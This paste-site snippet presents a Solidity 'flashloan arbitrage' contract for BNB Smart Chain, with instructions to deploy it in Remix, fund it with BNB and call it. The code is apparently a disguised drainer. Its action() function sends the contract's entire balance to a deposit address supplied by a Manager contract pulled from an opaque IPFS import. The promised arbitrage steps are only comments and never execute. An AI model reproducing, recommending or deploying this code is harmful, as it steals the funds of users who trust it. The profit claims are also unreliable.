flashloan arbitrage BSC
Open and setup Remix in browser (https://remix.ethereum.org) Send atleast 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.1-0.15 BNB fees) Call 'flashloan' function in Remix.unknown
plain_text
4 years ago
2.5 kB
5
Indexable
pragma solidity ^0.5.0; // Multiplier-Finance Smart Contracts import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol"; import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol"; // Router import "ipfs://QmcuWzm3xggsbtR2dk1bpA2Qta7ndRLzFCZnKGZhLF4Uj5"; // PancakeSwap Smart Contracts import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol"; import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } function() external payable {} function action() public payable { // Send required coins for swap address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance); // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE) // Breakdown of functions written below manager.performTasks(); /* Breakdown of functions // Submit token to BSC blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on PancakeSwap manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress); // Get BNB Loan from Multiplier-Finance string memory loanAddress = manager.takeFlashLoan(loanAmount); // Convert half BNB to DAI manager.pancakeDAItoBNB(loanAmount / 2); // Create BNB and DAI pairs for our token & Provide liquidity string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB"); manager.pancakeAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI"); manager.pancakeAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage manager.pancakePerformSwaps(); // Move remaining BNB from Contract to your account manager.contractToWallet("BNB"); // Repay Flash loan manager.repayLoan(loanAddress); */ } }
Editor is loading...